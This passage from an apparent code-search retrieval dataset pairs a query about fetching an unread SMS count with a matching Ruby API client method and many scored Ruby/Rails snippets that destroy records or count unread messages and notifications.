"text": "def destroy\n @employee_document.destroy\n @employee_documents = EmployeeDocument.all\n end",
"title": ""
},
{
"docid": "96bba85568dab1545d452725c640b5b4",
"score": "0.60850954",
"text": "def destroy\n @nmapfile.remove_nmapxml!\n FileUtils.remove_dir(\"#{Rails.root}/public/uploads/nmapfile/nmapxml/#{@nmapfile.id}\", :force => true)\n @nmapfile.destroy\n respond_to do |format|\n format.html { redirect_to nmapfiles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e45506a36e9377d18a68b4f036f72eb8",
"score": "0.6083331",
"text": "def destroy\n @country_master = CountryMaster.find(params[:id])\n @country_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(country_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7fabf272766c8573ca859c66230da221",
"score": "0.60819596",
"text": "def destroy\n @masterchef.destroy\n respond_to do |format|\n format.html { redirect_to masterchefs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "67fcdcfdac8ff87ea5e4677bb276a8c5",
"score": "0.6081935",
"text": "def delete node\n end",
"title": ""
},
{
"docid": "d1fe03bc46b5c0790e2858f8c80a4702",
"score": "0.6079674",
"text": "def destroy\n @charge_master_child = ChargeMasterChild.find(params[:id])\n @charge_master_child.destroy\n\n respond_to do |format|\n format.html { redirect_to(charge_master_children_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a7a293210242a1290afb3c986e1c2211",
"score": "0.6077412",
"text": "def delete!\n CouchDB.delete( uri )\n end",
"title": ""
},
{
"docid": "a7a293210242a1290afb3c986e1c2211",
"score": "0.6077412",
"text": "def delete!\n CouchDB.delete( uri )\n end",
"title": ""
},
{
"docid": "fa738f58570858197c45cf826df1a46b",
"score": "0.6077117",
"text": "def destroy\n @bankmaster = Bankmaster.find(params[:id])\n @bankmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(bankmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d4e16513428f377ff6c06785a95d5469",
"score": "0.6073949",
"text": "def destroy\n @nodeconfiguration = Nodeconfiguration.find(params[:id])\n @nodeconfiguration.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodeconfigurations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
}
] |
f760563ef5bbc0bbdb1e709f02b15d63 | Get unread SMS count Get number of SMS unread. Unread means has not been viewed in dashboard or returned in an email API response | [
{
"docid": "3021f209ea71968c5ecb13a3303c40a7",
"score": "0.70727277",
"text": "def get_unread_sms_count_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SmsControllerApi.get_unread_sms_count ...'\n end\n # resource path\n local_var_path = '/sms/unreadCount'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'UnreadCount' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SmsControllerApi#get_unread_sms_count\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] | [
{
"docid": "92b27fe6d129ea46df16093f9cf0f2d1",
"score": "0.8398736",
"text": "def getUnreadCount\n request \"/Message/getUnreadCount.json\"\n end",
"title": ""
},
{
"docid": "046744ac095835347a21b2f48c5ee1c7",
"score": "0.8297823",
"text": "def unread_count\n @client.make_request :get, messages_path('unread-count')\n end",
"title": ""
},
{
"docid": "c026581389aa8e1262196ef3b23c4594",
"score": "0.79141134",
"text": "def get_count_unread_message\n JSON.parse(curl_get(\"unseen_messages/\").body_str)\n end",
"title": ""
},
{
"docid": "d9a5432363aa56cbbe66f603754d4a45",
"score": "0.7839471",
"text": "def getUnreadCount\n raise \"not logged in\" unless @logged_in\n @unread_count = call_api('/Polling/getUnreadCount')\n @unread_all = @unread_count['all']\n @unread_my = @unread_count['my']\n @unread_private = @unread_count['private']\n @unread_responded = @unread_count['responded']\n end",
"title": ""
},
{
"docid": "47f25727cf009596b12bbf967071f351",
"score": "0.7730014",
"text": "def unread_messages_count\n count = current_user.unread_messages.count\n render json: { count: count }\n end",
"title": ""
},
{
"docid": "d8026aa33b9849df058059269cb667ab",
"score": "0.77274823",
"text": "def unread_message_count\n received_messages.unread.count\n end",
"title": ""
},
{
"docid": "cf4ba7e9e173d991edc3f381d0c69aa0",
"score": "0.76189244",
"text": "def unread_messages_count\n @navigator.element_text(UNREAD_MESSAGES_FINDER)\n end",
"title": ""
},
{
"docid": "d370ecddf15367033fcd93bbf7ae8b71",
"score": "0.76117134",
"text": "def unread_count_from_messages(messages)\n\t\tmessages.where(read: false, recipient: @current_user.type?).count\n\tend",
"title": ""
},
{
"docid": "ce3fb6281be59bc1bc8901a515babb44",
"score": "0.75895846",
"text": "def unread_message_count\n eval options[:class_name] + '.count(:conditions => [\"recipient_id = ? AND read_at IS NULL\", self])'\n end",
"title": ""
},
{
"docid": "27b52b7f84a56c025094d3a6fd5ddefe",
"score": "0.75547564",
"text": "def unread_message_count(current_user)\n self.messages.where(\"user_id != ? AND read = ?\", current_user.id, false).count\n end",
"title": ""
},
{
"docid": "526c1c01ae5fe3b76b44decec2467eef",
"score": "0.75268716",
"text": "def get_unseen_count\n begin\n # fetch raises an exception when the mailbox is empty\n @imap.status(@mailbox || \"INBOX\", [\"UNSEEN\"])[\"UNSEEN\"]\n rescue => e\n error \"failed to get count of unseen messages\"\n 0\n end\n end",
"title": ""
},
{
"docid": "09e5350fe3d406138901bc527806c574",
"score": "0.75004214",
"text": "def unread_inbox_count\n count_div = self.div(:text=>/Inbox/, :class=>\"lhnavigation_subnav_item_content\").div(:class=>\"lhnavigation_sublevelcount\")\n if count_div.present?\n count_div.text.to_i\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "f5136fc2675163be33d7c813fb69f7e9",
"score": "0.7498443",
"text": "def unread_message_count\n eval options[:class_name] + '.count(:conditions => [\"recipient_id = ? AND read_at IS NULL and recipient_deleted = ?\", self, false])'\n end",
"title": ""
},
{
"docid": "c66f2f43f4900cd351246777c0074be7",
"score": "0.7464782",
"text": "def unread_messages_count\n eval 'messages.count(:conditions => [\"recipient_id = ? AND read_at IS NULL\", self.user_id)'\n end",
"title": ""
},
{
"docid": "95bbf82d30af3d66dbd5597b32adce4d",
"score": "0.7340601",
"text": "def get_unread_sms_count(opts = {})\n data, _status_code, _headers = get_unread_sms_count_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "06caa8ce78c93f7fb0ed5117b39783dd",
"score": "0.73258716",
"text": "def unread_message_count\n count_div = self.div(:text=>/My Messages/, :class=>\"lhnavigation_item_content\").div(:class=>\"lhnavigation_levelcount\")\n if count_div.present?\n count_div.text.to_i\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "b133a299f3d9b242e22ade773149c424",
"score": "0.7320115",
"text": "def unread_message_count\r\n Rails.cache.fetch(unread_message_count_key, :expires_in => 5.minutes) do\r\n invites_requested_of_me.pending.count + invites.pending.count + unread_messages.count\r\n end\r\n end",
"title": ""
},
{
"docid": "889136af2efed6551c0bbcb3a10787be",
"score": "0.7290457",
"text": "def get_all_unread\n number = 0\n self.mailbox.inbox.each do |conversation|\n conversation.messages.each do |message|\n if message.is_unread?(self)\n number +=1\n end\n end\n end\n number\n end",
"title": ""
},
{
"docid": "f0fd530c92ce866f07e89c4a3dc24ff9",
"score": "0.7264746",
"text": "def total_unread_msg_count\n conversation_users.sum(:unread_messages_count)\n end",
"title": ""
},
{
"docid": "afa85b2c13d0a5ac5ac7f03934a6f5ef",
"score": "0.7249566",
"text": "def unread_count_for_user user\n self.user_messages.where.not(:user => user).where(:read_by_recipient => false).count\n end",
"title": ""
},
{
"docid": "fefb6962e61182e54891f92e70a2e30a",
"score": "0.7237705",
"text": "def unread_message(onlynum = true)\n if onlynum\n unread_messages.count(:select => 'id')\n else\n unread_messages.find(:all)\n end\n end",
"title": ""
},
{
"docid": "a31e06f7d9fc94fa53c9467333a1f643",
"score": "0.7225652",
"text": "def unread_item_count\n return @unread_item_count\n end",
"title": ""
},
{
"docid": "74ddce47871401e3b3cc4cc4456b0f30",
"score": "0.72235674",
"text": "def unread_count\n saved_unread_count + Notification_Service.unread_count\n end",
"title": ""
},
{
"docid": "a02b6e4cc7a1e312756ef1d58c3f2ef1",
"score": "0.72153974",
"text": "def unread_message_count\n eval 'messages.count(:conditions => [\"recepient = ? AND read_at IS NULL\", self.sender])'\n end",
"title": ""
},
{
"docid": "2a142bf91e8ad38a52ffb3bbda7f1661",
"score": "0.72056293",
"text": "def unread_message_count\n eval 'messages.count(:conditions => [\"recepient_id = ? AND read_at IS NULL\", self.beamer_id])'\n end",
"title": ""
},
{
"docid": "2a142bf91e8ad38a52ffb3bbda7f1661",
"score": "0.72056293",
"text": "def unread_message_count\n eval 'messages.count(:conditions => [\"recepient_id = ? AND read_at IS NULL\", self.beamer_id])'\n end",
"title": ""
},
{
"docid": "e5b8f5419fcc3845d9336a40f9902b8d",
"score": "0.71914816",
"text": "def count_unread_emails\n @unread_email = Email.where(:state => 'unread').count\n end",
"title": ""
},
{
"docid": "ce571013212ef379033b0f5a3d1431e4",
"score": "0.71632254",
"text": "def received_messages\n @number_of_messages = Message.all_unread_messages(current_user.id).length\n end",
"title": ""
},
{
"docid": "44290b9f4c3018860c1c3dafa3b39481",
"score": "0.7157588",
"text": "def unread\n body = JSON( get \"#{BASE_URL}/account/mentions.json\" )\n body[\"unread\"]\n end",
"title": ""
},
{
"docid": "0d2f8f0d4b734f6388c5c7636f093bb6",
"score": "0.7142644",
"text": "def unread_messages_count_for(user)\n speaker = find_speaker_by_user(user)\n messages.where(\"updated_at > ?\", speaker.updated_at ).where(\"user_id != ?\", speaker.id ).count\n end",
"title": ""
},
{
"docid": "4340c86a30c2cb33ff4a498fd1309693",
"score": "0.7105783",
"text": "def unread_count\r\n UserProcessor.new(self).unread_count\r\n end",
"title": ""
},
{
"docid": "5e6ad48d6787d45d3693707a9489e1eb",
"score": "0.70733947",
"text": "def get_unread_count(usr)\r\n Post.unread_count usr\r\n end",
"title": ""
},
{
"docid": "c69fc5aad3feb5d7aff7bad00cb331e7",
"score": "0.70702136",
"text": "def unread_count_for(user)\n user.conversations.select { |c| !c.read_by? user }.count\n end",
"title": ""
},
{
"docid": "38e400812d4b8ea689ec7914c13e6def",
"score": "0.70176494",
"text": "def unread_notification_count\n render :json => Notification.where('notifier_id = ? AND read_status = false', params[:user_id]).count\n end",
"title": ""
},
{
"docid": "b9ce294f9bdf08d83b196be7692cbd49",
"score": "0.6959445",
"text": "def unread_message_count\n eval 'messages.count(:conditions => [\"receiver_id = ? AND read_at IS NULL\", self.sender_id])'\n end",
"title": ""
},
{
"docid": "e769fe62e236107a832d6cf09cce4913",
"score": "0.6898683",
"text": "def unread_messages\n # We find the user conversations \n @user_conversations = Conversation.participating(self)\n # We create an empty array to stock the unread messages\n @unread_messages = []\n # For each conversation we check all the messages\n @user_conversations.each do |conversation|\n conversation.personal_messages.each do |message|\n # We stock in the array all the unread messages received by the user\n if message.read != true && message.user_id != self.id\n @unread_messages << message\n end\n end\n end\n # We return the number of elements in the array\n return @unread_messages.size\n end",
"title": ""
},
{
"docid": "4bccb0f307d216aed008464db887d268",
"score": "0.6879109",
"text": "def unread_invitations_count\n count_div = self.div(:text=>/Invitations/, :class=>\"lhnavigation_subnav_item_content\").div(:class=>\"lhnavigation_sublevelcount\")\n if count_div.present?\n count_div.text.to_i\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "e0a36f59cccc43427fcfdee3a4de15d1",
"score": "0.68617123",
"text": "def saved_unread_count\n saved_notifications.select{|n| !n.read?}.size\n end",
"title": ""
},
{
"docid": "8c0b6ed0a69dbcd0682f176d72d5fa07",
"score": "0.68379897",
"text": "def count_sms(conditions = {})\n params = extract_query_params conditions\n\n request :get,\n '/v3/sms/count.json',\n params\n end",
"title": ""
},
{
"docid": "91515dbbfef9bf29da0e14977369b8e7",
"score": "0.6812261",
"text": "def sms_recipient_count\n return 0 unless sms_possible?\n @sms_recipient_count ||= recipients.count(&:can_get_sms?)\n end",
"title": ""
},
{
"docid": "2fbd28c7b17b02724b3211c0b8a94219",
"score": "0.6812191",
"text": "def unread_message_count(force_reload = false)\n if force_reload || @unread_message_count.nil?\n @unread_message_count = message_receipts.count(\n :id,\n :conditions => {\n :recipient => true,\n :unread => true\n }\n )\n end\n return @unread_message_count\n end",
"title": ""
},
{
"docid": "30a0af2df1792685b75c1f645f411cf3",
"score": "0.6790486",
"text": "def unread_item_count=(value)\n @unread_item_count = value\n end",
"title": ""
},
{
"docid": "0e83be219332f3da6d5c2722bf175d07",
"score": "0.67876565",
"text": "def unread_messages\n # TODO - Write this method\n end",
"title": ""
},
{
"docid": "0e83be219332f3da6d5c2722bf175d07",
"score": "0.67876565",
"text": "def unread_messages\n # TODO - Write this method\n end",
"title": ""
},
{
"docid": "814d809cea519599f723ccb1fd2bc1e7",
"score": "0.6769186",
"text": "def get_unread(count)\n Mail.last :count => count\n end",
"title": ""
},
{
"docid": "580b9a82f479674fb9d917bc66f409bb",
"score": "0.6760455",
"text": "def total_unread\n return 0 unless unread_replies\n return 0 if unread_replies.empty?\n unread_replies.values.compact.inject(&:+).size\n end",
"title": ""
},
{
"docid": "cdcb0fbf9b1d9dece9c9a7bcf71f22f8",
"score": "0.6752106",
"text": "def get_unread_mail domain, username, password, inbox, past_emails\n count = 0\n temp_array = []\n imap = Net::IMAP.new(domain,993,true)\n imap.login(username,password)\n imap.select(inbox)\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n env = imap.fetch(message_id, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n @from[\"#{env.from[0].mailbox}@#{env.from[0].host}\"] += 1\n unless past_emails.include? message_id\n count += 1\n end\n temp_array << message_id\n end\n imap.logout()\n imap.disconnect()\n return count, temp_array\nend",
"title": ""
},
{
"docid": "20426bf72a10fd6c887ab502cdedca59",
"score": "0.6751324",
"text": "def num_unread()\n all_chats = current_user.chat_rooms\n num_unseen = 0\n all_chats.each do |chat|\n msgs = chat.messages.sort_by {|m| m.created_at}.reverse\n cru = ChatRoomsUser.where(\"chat_room_id = ?\", chat.id)\n .where(\"user_id = ?\", current_user.id)[0] #should be only one of these\n l_viewed = cru.last_viewed\n msgs.each do |msg|\n if l_viewed != nil #user has looked at a chat before\n if msg.created_at > l_viewed\n num_unseen += 1\n else\n break\n end\n else\n num_unseen += 1\n end\n end\n end\n num_unseen\n end",
"title": ""
},
{
"docid": "9493c2ab6c56056d0b9231cee30b157a",
"score": "0.6683414",
"text": "def count_messages(mailbox_id, type)\n end",
"title": ""
},
{
"docid": "9f8d41536345ba9bd8edf160a8678dbc",
"score": "0.6648534",
"text": "def total_unread\n inject(0) {|i,j| i+j.unread_count}\n end",
"title": ""
},
{
"docid": "3f92153e3ac1faea9344953a060f37d4",
"score": "0.66326743",
"text": "def message_unread_count(member_to_check)\n self.events.where(read: false).nin(member_id: [member_to_check.id] ).count\n end",
"title": ""
},
{
"docid": "b55b803eb7eebb3e84150cf34ff9836f",
"score": "0.66263545",
"text": "def remaining_sms\n response = parse_xml(post build_xml_body.to_xml, :balance)\n response.xpath('response/sms').first.text.to_i\n end",
"title": ""
},
{
"docid": "b0dbb058e18e9459c1a860d249998f75",
"score": "0.66191083",
"text": "def unread_sent_messages_count_to_current_user(recipient)\n Message.joins(:message_recipient).where('message_recipients.user_id = ?',recipient.id).where('messages.user_id = ?',self.id).where(status: false).count\n end",
"title": ""
},
{
"docid": "44fe9d787a32d74de9c4f6591159c113",
"score": "0.65802604",
"text": "def all_student_unread_count\n @all_student_unread_count ||=\n if current_course_user&.student?\n current_course.discussion_topics.globally_displayed.from_user(current_user.id).\n unread_by(current_user).distinct.with_published_posts.count\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "0a075172ed5776868172bce3c9a6c556",
"score": "0.6517705",
"text": "def unread_count(blog_id=nil)\n total_count = 0\n\n if blog_id.nil?\n subs = subscriptions.select('blog_id, unread_marker')\n else\n subs = subscriptions\n .where(:blog_id => blog_id)\n .select('blog_id, unread_marker')\n end\n\n subs.each do |sub|\n # Now we have to merge in the article_read table to deduct\n # from the total just from the marker.\n status_count = ArticleStatus\n .count(:conditions => ['blog_id = ? and user_id = ? and created_at > ? and article_read_id IS NOT NULL', sub.blog_id, self.user_id, sub.unread_marker])\n total_count -= status_count\n\n total_count += Article.count(:conditions => ['blog_id = ? and created_at > ?', sub.blog_id, sub.unread_marker])\n end\n\n if total_count < 0\n Rails.logger.error 'Uread count less than 0'\n end\n\n total_count\n end",
"title": ""
},
{
"docid": "b58dcfb977ba009d35f8e8d5e01e6032",
"score": "0.6513953",
"text": "def message_counts\n hash = {}\n total = active_div.divs(:class=>\"inbox_items_inner\").length\n unread = active_div.divs(:class=>/unread/).length\n read = total - unread\n hash.store(:total, total)\n hash.store(:unread, unread)\n hash.store(:read, read)\n return hash\n end",
"title": ""
},
{
"docid": "0c555440d3cf537251e86567b8d98892",
"score": "0.6509173",
"text": "def new_messages_count\n UnreadMessage.where(user_id: id).count\n end",
"title": ""
},
{
"docid": "761025c0ccc282259aa0efcabef13207",
"score": "0.6501752",
"text": "def notificationCount\n notificationCount = Notification.where(recipient_id: id, status: 'unread').count\n notificationCount\n end",
"title": ""
},
{
"docid": "bb0c62b7149b9955a6f586416e244a3e",
"score": "0.6469842",
"text": "def increment_recipient_unread_messages_count\n unless self.read\n User.increment_counter(:unread_messages_count, self.recipient_id)\n end\n end",
"title": ""
},
{
"docid": "4bff86f4325b363441edd6dadf492d8a",
"score": "0.6441458",
"text": "def mailbox_count\n return @mailbox_count\n end",
"title": ""
},
{
"docid": "1ce7a72d31b287505084638856676af3",
"score": "0.64367473",
"text": "def unread_notification\n\t @notifications = Notification.unread_notification(current_user.id).order(:created_at => \"DESC\")\n\t notification = Notification.unread_notification(current_user.id).count\n\n\t if notification.nil? \n\t \tnotification = 0\n\t else\n\t \tnotification \n\t end\n\tend",
"title": ""
},
{
"docid": "e12f4d6bbae42bf1b197e15d82e2e0a3",
"score": "0.6413386",
"text": "def unread_message_count\n eval 'received_messages.count(:conditions => [\"read_at IS NULL\"])'\n end",
"title": ""
},
{
"docid": "022980ef1079d0b202244eb97a0752b6",
"score": "0.63851964",
"text": "def count(box)\n @imap.status(box, [\"MESSAGES\"])[\"MESSAGES\"]\n end",
"title": ""
},
{
"docid": "7f1a05938d511b3cfd6881c3a148dc77",
"score": "0.637793",
"text": "def count\n count = current_user.notifications.where(readed: false).size\n render json: { count: count }\n end",
"title": ""
},
{
"docid": "ac8edfbd01a00e7c66e71f60b3447008",
"score": "0.6374689",
"text": "def dashboard\n @user_messages = Message.where(message_to: current_user.id)\n @user_unread_message = @user_messages.select { |m| m.status == \"unread\"}\n\n \n end",
"title": ""
},
{
"docid": "64c1a167c5ead98ad35bb807b8b74098",
"score": "0.6369653",
"text": "def message_count\n to_i description['MessageCount']\n end",
"title": ""
},
{
"docid": "126fbe332c75ca4c8b7a88aeb7f46cdd",
"score": "0.63463724",
"text": "def unread_messages\n @unread_messages = Message.find_all_by_to_user_id_and_last_read_timestamp(self.id, nil) \n end",
"title": ""
},
{
"docid": "9284b530fc6184b51681edd949ef86ff",
"score": "0.63447446",
"text": "def count\n messages.count\n end",
"title": ""
},
{
"docid": "1e5becc88b9bd2714c179917cff41e09",
"score": "0.634396",
"text": "def unread_notification\n\t @notification = Notification.unread_notification(current_user).order(:created_at => \"DESC\")\n\t notification = Notification.unread_notification(current_user).count\n\tend",
"title": ""
},
{
"docid": "c1d4eb6e7d68a255fd895d60f0998875",
"score": "0.6338741",
"text": "def sms_count_for_rollup\n lists_including_deleted.inject(0){|sum, list| sum += list.last_month_sms }\n end",
"title": ""
},
{
"docid": "fdd31eb933a09d721669922d8f32ee79",
"score": "0.6337637",
"text": "def notifications_count\n self.notifications.where(read: false).count\n end",
"title": ""
},
{
"docid": "08e51dcef175aa73fa136cb0e6b35eac",
"score": "0.6330603",
"text": "def count_messages\n Mailboxer::Message.conversation(self).count\n end",
"title": ""
},
{
"docid": "b9898b9c147b56ea69fc7bc8c75afe87",
"score": "0.63148767",
"text": "def index\n @message_count = current_account.marketing_messages.manual.count\n end",
"title": ""
},
{
"docid": "80400d23268f8ba10c43c717635e2bd3",
"score": "0.6313237",
"text": "def message_count\n @messages.count\n end",
"title": ""
},
{
"docid": "14939c1e0021d6db81f85b63fd45a4c4",
"score": "0.6303242",
"text": "def number_of_unread_conversations(tags)\n if current_user.is_agent\n unread = Conversation.where(:kind.in => ['member_to_agent', 'agent_to_member']).where(participants: current_user.account.id).not_in(archived: [current_user.account.id]).not_in(read_by: [current_user.account.id]).count\n else\n unread = Conversation.where(participants: current_user.account.id).not_in(archived: [current_user.account.id]).not_in(read_by: [current_user.account.id]).count\n end\n\n if unread != 0\n if tags\n return \"(#{unread})\"\n end\n\n return \"#{unread}\"\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "7c257dc890a58d8c100f4e8847695aea",
"score": "0.6300687",
"text": "def all_staff_unread_count\n @all_staff_unread_count ||= current_course.discussion_topics.\n globally_displayed.pending_staff_reply.distinct.count\n end",
"title": ""
},
{
"docid": "5557b49eb6fb0918d2c5393c6179156c",
"score": "0.6294499",
"text": "def message_count\n @message_count\n end",
"title": ""
},
{
"docid": "3cbaf7fd3c044529e1c523e8f633a1d5",
"score": "0.62211335",
"text": "def set_unread\n @message = Message.find(params[:id])\n @message.update_attributes(:message_status => \"Unread\")\n check_message_direction(@message)\n @conversation.first.update(:unread_count => 1)\n render json: ''\n end",
"title": ""
},
{
"docid": "73ac84f8b97e4544107f5ee2b398ef0f",
"score": "0.6196977",
"text": "def count\n logement = Logement.find(params[:logement_id])\n conversations = logement.conversations\n not_read = 0\n \n conversations.each do |conversation|\n if conversation.messages.present? && conversation.messages.last.read == false && conversation.messages.last.is_client != logement.id\n not_read += 1\n end\n end\n \n render json:{\n not_read:not_read\n }\n end",
"title": ""
},
{
"docid": "6d114fd8ee1043c9424b59b3f3279cad",
"score": "0.6176917",
"text": "def countMessages\n total = 0\n ary = getHpks\n ary.each do |hpk|\n mbx = Mailbox.new hpk\n count = mbx.count\n total += count\n end\n total_redis = rds.get(@config[:total_number_of_messages])\n _print_debug 'total mbx count = ', total if @debug\n _print_debug 'total redis key = ', total_redis if @debug\n # turn on manually when changing mailbox code\n # assert_equal(total.to_s,total_redis)\n end",
"title": ""
},
{
"docid": "f209c06cff7c3930904089183994c2d7",
"score": "0.6151465",
"text": "def get_unread_email_count_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EmailControllerApi.get_unread_email_count ...'\n end\n # resource path\n local_var_path = '/emails/unreadCount'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'UnreadCount' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailControllerApi#get_unread_email_count\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "c3ad3a712e77bc848217400ca23db20f",
"score": "0.6117494",
"text": "def unread_messages\n chat_id = params[:chat_id]\n @messages = chat_unread_messages(current_user, chat_id)\n end",
"title": ""
},
{
"docid": "bdd1533182068c13f389e791428655dc",
"score": "0.6113426",
"text": "def message_count\n 0\n end",
"title": ""
},
{
"docid": "bdd1533182068c13f389e791428655dc",
"score": "0.6113426",
"text": "def message_count\n 0\n end",
"title": ""
},
{
"docid": "049ed6561070ccd3aaef5bf1d5009dd9",
"score": "0.61083406",
"text": "def get_no_unseen_notification_messages\n if NotificationMessage.exists?(:receiver_user => @current_user.id)\n @notification_message = NotificationMessage.where(:receiver_user => @current_user.id).where(:is_seen => 0)\n @unseen_notification_messages = @notification_message.count\n render json: {status: 'SUCCESS', message: 'Notifications are seen by user', no_unseen_notification_messages: @unseen_notification_messages},status: :ok\n else\n render json: {status: 'FAIL', message: 'No Notification messages For this user'},status: :ok\n end \n end",
"title": ""
},
{
"docid": "881e7ed0efa5008b44558b0276ce7ad2",
"score": "0.61032575",
"text": "def unread\n @messages = @user.unread_messages\n render :action => :index\n end",
"title": ""
},
{
"docid": "e8c956d40d783b889f9e05883ea090de",
"score": "0.60956615",
"text": "def unread_message_count\n eval 'messages.count(:conditions => [\"recepient_id = ? AND read_at IS NULL\", self.beamer_id])'\n end",
"title": ""
},
{
"docid": "dcc7bcf41f0984cdcd657bbbcae0df79",
"score": "0.608282",
"text": "def message_status(subject)\n classname = self.div(:class=>/^inbox_item fl-container fl-fix/, :text=>/#{Regexp.escape(subject)}/).class_name\n if classname =~ /unread/\n return \"unread\"\n else\n return \"read\"\n end\n end",
"title": ""
},
{
"docid": "dc3ed5aac0fd395549a3517f67276ef7",
"score": "0.6047255",
"text": "def new_message_count\n count = Message.where(to_user_id: self.id).where(opened: false).count\n count += OutsideMessage.where(opened: false).count if self.admin?\n count\n end",
"title": ""
},
{
"docid": "9198d2e5b6b22241df316623e4d10bc4",
"score": "0.6045146",
"text": "def unread_notifications\n Mailboxer::Receipt.where(mailbox_type: 'inbox',\n receiver_id: current_user.id,\n is_read: false,\n trashed: false,\n deleted: false) if user_signed_in?\n end",
"title": ""
},
{
"docid": "5ebe1cc02af85c4989296c6598f03be8",
"score": "0.6041203",
"text": "def checkmsgcount\n\t\n\t\tresponse.headers['Content-Type'] = 'text/event-stream' #for live streaming\n\t\tresponse.headers['Cache-Control'] = 'no-cache' #for clear browser cache\n\t\t@conversation =\tConversation.involving(@account.id).order(\"id DESC\")\n\t\n\t\tconv = []\n\t\t@conversation.each do |abc|\n\t\t\tconv.push(abc.id)\n\t\tend\n \n\t cont = Message.where(\"account_id != ? && is_read = ? && conversation_id IN (?)\" , @account.id, 0, conv).count\n\t\tif cont > 0\n\t\t\trender :text=> \"retry: 3000\\ndata: {\\\"totalMsg\\\":\"+cont.to_s+\"}\\n\\n\" \n\t\telse\n\t\t\trender :json=>0\n\t\tend\t\n\tend",
"title": ""
},
{
"docid": "1d9894159fcf9baac8ff5aab3c0dfb61",
"score": "0.60340405",
"text": "def unread\n notifications = cull fetch(:read), 'subscribe', 'friend'\n render json: notifications\n end",
"title": ""
},
{
"docid": "50c03ceedcf3d36014c9750d622fc3d0",
"score": "0.6030548",
"text": "def show\n if current_user.has_csr_role?\n redirect_to home_exchanges_agents_path\n return\n else\n check_hbx_staff_role\n end\n @unread_messages = @profile.inbox.unread_messages.try(:count) || 0\n end",
"title": ""
},
{
"docid": "f7cf1d199d11d9521ea3e095ab01e2ef",
"score": "0.6022885",
"text": "def notification_count(current_user)\n @nots = NotificationUser.where(\"user_id = ? AND read = ? \", current_user , false).size\n end",
"title": ""
},
{
"docid": "f1f4190b5a8ce910a9aede7029e93119",
"score": "0.60032946",
"text": "def unread_count\n hash = {}\n each { |feed| hash[feed] = feed.unread_count }\n hash\n end",
"title": ""
},
{
"docid": "ec80ad661078efd1a22aead354d346b2",
"score": "0.5991333",
"text": "def confirm_sms_unread_broadcast!\n user_group.members.where(id: unread_messages).where.not(phone_number: nil).each do |_user|\n InfobipService.send_message_to(_user.phone_number, message, user.full_name(false))\n end\n end",
"title": ""
},
{
"docid": "e2256a83bc7935567bab4aaf36734ee6",
"score": "0.598358",
"text": "def get_messages\n @client = Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n\tclient.account.messages.list(to: ENV['PUBLIC_SMS_NUMBER'], 'date_sent>' => (Time.new - 600).to_s[0..-7])\nend",
"title": ""
},
{
"docid": "ead61111a091b9630c109e953b6bc720",
"score": "0.5979093",
"text": "def unread\n user_id = params.fetch(:user_id, nil)\n\n if user_id.blank?\n invalid_params([:user_id]) and return\n end\n\n user = User.find(params[:user_id])\n\n query = user.unread_messages.where([\"messages.created_at >= ?\", @n_days.days.ago.beginning_of_day]).order(\"messages.created_at desc\")\n\n @messages = query.includes(:sender).paginate(page: @page, per_page: @per_page)\n\n render 'index'\n end",
"title": ""
},
{
"docid": "24e6a2c3bfb564f330c31baac36da437",
"score": "0.5960813",
"text": "def get_unread_email_count(opts = {})\n data, _status_code, _headers = get_unread_email_count_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "ede99b9a8478bfe4711f42a95bf8b0f9",
"score": "0.5959925",
"text": "def unread_messages_in_folder(folder_name)\n frm.table(:id=>\"msgForum:_id23:0:privateForums\").row(:text=>/#{Regexp.escape(folder_name)}/).span(:text=>/unread/).text =~ /\\d+/\n return $~.to_s\n end",
"title": ""
}
] |
